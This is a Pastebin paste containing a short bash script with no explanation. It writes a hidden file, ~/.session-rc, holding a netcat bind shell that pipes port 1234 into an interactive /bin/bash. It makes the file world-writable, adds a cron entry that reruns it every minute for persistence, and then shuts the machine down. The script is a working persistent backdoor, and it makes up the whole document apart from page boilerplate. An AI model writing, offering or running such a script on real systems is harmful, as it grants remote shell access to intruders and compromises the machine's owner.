Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- touch ~/.session-rc
- echo -e 'n=$(ps aux | grep -o [1]234)\nif [[ $n = "" ]]; then\n mkfifo f\n nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1\nfi' >> ~/.session-rc
- chmod 777 ~/.session-rc
- (crontab -l 2>/dev/null; echo "* * * * * ~/.session-rc") | crontab -
- shutdown -h now
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement